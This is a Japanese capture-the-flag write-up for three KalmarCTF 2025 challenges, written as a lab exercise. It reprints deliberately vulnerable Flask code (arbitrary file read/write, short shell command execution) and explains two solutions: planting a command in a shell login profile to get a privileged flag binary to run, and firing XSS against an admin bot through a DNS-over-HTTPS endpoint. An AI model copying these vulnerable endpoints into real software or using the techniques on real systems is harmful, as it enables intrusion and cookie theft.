KalmarCTF 2025 writeup
KalmarCTF
名前的にKalmarunionenのCTFだと思う。
BunkyoWesternsで参加し、チームとしては9位でした。
モンハンとライブの合間にちょっと見ました。そのせいで確定申告には手が付けられず、今日やっと終わったのでWriteupです。
misc - RWX-bronze
from flask import Flask, request, send_file
import subprocess
app = Flask(__name__)
@app.route('/read')
def read():
filename = request.args.get('filename', '')
try:
return send_file(filename)
except Exception as e:
return str(e), 400
@app.route('/write', methods=['POST'])
def write():
filename = request.args.get('filename', '')
content = request.get_data()
try:
with open(filename, 'wb') as f:
f.write(content)
return 'OK'
except Exception as e:
return str(e), 400
@app.route('/exec')
def execute():
cmd = request.args.get('cmd', '')
if len(cmd) > 7:
return 'Command too long', 400
try:
output = subprocess.check_output(cmd, shell=True)
return output
except Exception as e:
return str(e), 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=6664)
こんな感じ、7文字以下のコマンド実行と任意ファイル(親ディレクトリが存在する場合のみ)への書き込み、Readが可能。
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char full_cmd[256] = {0};
for (int i = 1; i < argc; i++) {
strncat(full_cmd, argv[i], sizeof(full_cmd) - strlen(full_cmd) - 1);
if (i < argc - 1) strncat(full_cmd, " ", sizeof(full_cmd) - strlen(full_cmd) - 1);
}
if (strstr(full_cmd, "you be so kind to provide me with a flag")) {
FILE *flag = fopen("/flag.txt", "r");
if (flag) {
char buffer[1024];
while (fgets(buffer, sizeof(buffer), flag)) {
printf("%s", buffer);
}
fclose(flag);
return 0;
}
}
printf("Invalid usage: %s\n", full_cmd);
return 1;
}
これがコンパイルされた/would
をいい感じに実行しろ。という問題。
Dockerfileを見ると
FROM ubuntu:latest
RUN apt-get update && \
apt-get install -y python3 python3-pip gcc
RUN pip3 install flask==3.1.0 --break-system-packages
WORKDIR /
COPY flag.txt /
RUN chmod 400 /flag.txt
COPY would.c /
RUN gcc -o would would.c && \
chmod 6111 would && \
rm would.c
WORKDIR /app
COPY app.py .
RUN useradd -m user
USER user
CMD ["python3", "app.py"]
useradd -m user
されているので、/home/user/.profile
に
/would you be kind to provide me with a flag
を書いてbash -l
を実行すれば7文字で収まる。
kalmar{ok_you_demonstrated_your_rwx_abilities_but_let_us_put_you_to_the_test_for_real_now}
misc - RWX-silver
@app.route('/exec')
def execute():
cmd = request.args.get('cmd', '')
if len(cmd) > 5:
return 'Command too long', 400
try:
output = subprocess.check_output(cmd, shell=True)
return output
except Exception as e:
return str(e), 400
5文字以下になっているので、sh -l
にする。以上
kalmar{ok_you_demonstrated_your_rwx_abilities_but_let_us_put_you_to_the_test_for_real_now}
web - DNXSS-over-HTTPS
https://dns.google
のプロキシ
events {
worker_connections 1024;
}
http {
server {
listen 80;
location / {
proxy_pass https://dns.google;
add_header Content-Type text/html always;
}
location /report {
proxy_pass http://adminbot:3000;
}
}
}
adminもいる。問題名からも分かるとおりXSS
const express = require('express');
const puppeteer = require('puppeteer');
const app = express();
const FLAG = process.env.FLAG || 'kalmar{test_flag}';
const DOMAIN = process.env.DOMAIN || 'http://proxy/';
app.use(express.json());
function sleep(ms) {
return new Promise(res => setTimeout(res, ms));
}
async function visitUrl(url) {
const browser = await puppeteer.launch({
headless: 'new',
args: ['--no-sandbox', '--disable-setuid-sandbox']
});
try {
const page = await browser.newPage();
// Set flag cookie
await page.setCookie({
name: 'flag',
value: FLAG,
domain: new URL(DOMAIN).hostname,
});
await page.goto(url, {
waitUntil: 'networkidle0',
});
await sleep(1000);
} catch (err) {
console.error('Error visiting page:', err);
} finally {
await browser.close();
}
}
app.post('/report', async (req, res) => {
const { url } = req.body;
if (!url || typeof url !== 'string' || !url.startsWith(DOMAIN)) {
return res.status(400).json({ error: `Invalid URL. Url should be a string and start with ${DOMAIN}` });
}
try {
await visitUrl(url);
res.json({ success: true });
} catch (err) {
res.status(500).json({ error: 'Failed to visit URL' });
}
});
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Adminbot listening on port ${PORT}`);
});
nginxがadd_header Content-Type text/html always
してくれるとはいえ、TXTにそのまま書いてもエスケープされてしまうので、他の方法を探す。
https://developers.google.com/speed/public-dns/docs/dohを読んでみると、/dns-query
でRFC 8484(DNS Queries over HTTPS)を受け付けていることがわかる。
とりあえずこれを使ってみたいのでo3-miniに書かせた
#!/usr/bin/env python3
import random
import struct
import base64
def build_dns_query(domain):
# DNSヘッダーの構築
query_id = random.randint(0, 65535) # 16ビットのランダムID
flags = 0x0100 # 標準クエリ、再帰要求フラグON
qdcount = 1 # 質問数
ancount = 0 # 回答数
nscount = 0 # 権限情報数
arcount = 0 # 追加情報数
# ヘッダーは6つの16ビットフィールドで構成
header = struct.pack("!HHHHHH", query_id, flags, qdcount, ancount, nscount, arcount)
# QNAMEの構築:ドメイン名をラベル形式 (各ラベルの前に長さを付加し、最後に0バイト)
qname = b""
for label in domain.split("."):
qname += struct.pack("!B", len(label)) + label.encode('ascii')
qname += b'\x00' # 終了を示す0バイト
# 質問セクション:QTYPE=16 (TXT), QCLASS=1 (IN)
qtype = 16 # TXTレコード
qclass = 1 # インターネットクラス
question = qname + struct.pack("!HH", qtype, qclass)
# 完全なDNSメッセージを返す
return header + question
if __name__ == '__main__':
domain = "xss.example.com" # TXTレコードを問い合わせたいドメイン
dns_query_message = build_dns_query(domain)
# DNSメッセージをBase64エンコードして表示(URLセーフなエンコードも可)
encoded_message = base64.urlsafe_b64encode(dns_query_message).decode('ascii')
print("DNS Query Message (Base64):")
print(encoded_message)
これを試したら無事エスケープされずにXSSが発火した
kalmar{that_content_type_header_is_doing_some_heavy_lifting!_did_you_use_dns-query_or_resolve?}
まとめ
面白かったです。解けてないけど見た問題はヤバそうだったのも面白そうなのもある。
Comments